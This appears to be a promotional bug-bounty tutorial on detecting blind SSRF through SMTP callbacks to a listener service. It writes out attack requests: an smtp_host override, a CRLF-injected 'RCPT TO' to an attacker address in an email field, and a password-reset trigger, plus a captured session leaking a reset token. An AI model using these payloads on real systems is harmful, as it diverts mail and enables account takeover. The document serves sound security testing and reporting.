Blind SSRF → Internal SMTP Relay Detection

// The problem with HTTP-only listeners

Every bug bounty hunter knows Burp Collaborator. You paste a URL, trigger a request, and wait for an HTTP callback. It works great — until it doesn't.

Many production environments run strict egress firewalls. Outbound HTTP/HTTPS to arbitrary addresses is blocked. But SMTP (port 25) often isn't — because the internal mail server needs to deliver to external recipients. This is the gap that this technique exploits.

// The attack surface

Three categories of parameters are worth testing:

// Step-by-step: setting up your listener

1 — Create your channel

Log into pingback.sh and grab your unique subdomain. You'll get something like abc123.pingback.sh. This subdomain acts as both your DNS target and your SMTP catch-all domain. Any email sent to *@abc123.pingback.sh is captured and visible in your dashboard in real time.

2 — Craft your payloads

Depending on the attack surface, use one of the following approaches:

Scenario A — Direct SMTP host injection:

# Replace the smtp_host value with your listener
POST /api/settings/notifications
{
  "smtp_host": "abc123.pingback.sh",
  "smtp_port": 25,
  "from_address": "noreply@target.com"
}

# Then trigger a test email or wait for a real notification

Scenario B — CRLF injection in email field:

# The %0d%0a injects a newline in the SMTP session
# The server thinks it's adding a header but actually adds a new RCPT TO
POST /api/account/email
{
  "email": "victim@target.com%0d%0aRCPT TO: attacker@abc123.pingback.sh"
}

# URL-encoded version for GET params:
?email=victim%40target.com%0d%0aRCPT+TO%3A+attacker%40abc123.pingback.sh

Scenario C — Catch-all email address:

# Register/update with your catch-all address
# Any email the app sends you is captured in full
POST /api/account/update
{
  "email": "anything@abc123.pingback.sh"
}

# Then trigger a password reset, email verification, etc.
POST /api/auth/forgot-password
{ "email": "anything@abc123.pingback.sh" }

3 — Reading the capture in your dashboard

When the SMTP connection arrives, your pingback dashboard shows a new hit tagged SMTP. Opening it reveals:

The DNS hit came first (MX lookup to find abc123.pingback.sh), then no HTTP (egress firewall blocks it), then the SMTP session in full. This pattern — DNS yes, HTTP no, SMTP yes — is the fingerprint of a firewalled SSRF reaching an internal mail relay.

// What you're looking for: the SMTP session

A successful capture looks like this inside the raw SMTP session:

## EHLO banner — reveals internal hostname, a bonus finding
EHLO mail.internal.corp

## Envelope — confirms the server is yours
MAIL FROM: 
RCPT TO:  <attacker@abc123.pingback.sh>

## DATA — the actual email. This is your PoC.
DATA
Date: Fri, 29 May 2026 10:42:00 +0000
From: noreply@corp.com
To: victim@target.com
Subject: Reset your password

Hi,

Click the link below to reset your password. This link expires in 24h.

https://app.corp.com/reset?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzR9.abc

– The Corp Team

// Scoring your finding

// Writing the report

Structure your finding report around the three observable events:

1. DNS hit — proves the server resolved your domain (SSRF confirmed at DNS level)
2. SMTP session — proves the server connected to your listener on port 25
3. DATA section — proves the internal mail relay forwarded real email content to an external attacker-controlled server

Attach screenshots from the pingback dashboard showing each hit with timestamps, source IPs, and the raw SMTP session. This is cleaner and more convincing than a Burp log.

// Why this works where other tools miss it

Tools like Burp Collaborator listen exclusively on HTTP and DNS. If a backend's egress firewall blocks outbound HTTP but leaves SMTP open — which is the default on many corporate networks — Burp returns nothing and you move on, assuming no SSRF. Meanwhile, the SMTP session happened. You just weren't listening.

pingback.sh captures SMTP connections on the same subdomain as your DNS and HTTP listener. One URL, all protocols, one dashboard. The difference is whether you have the right tool open.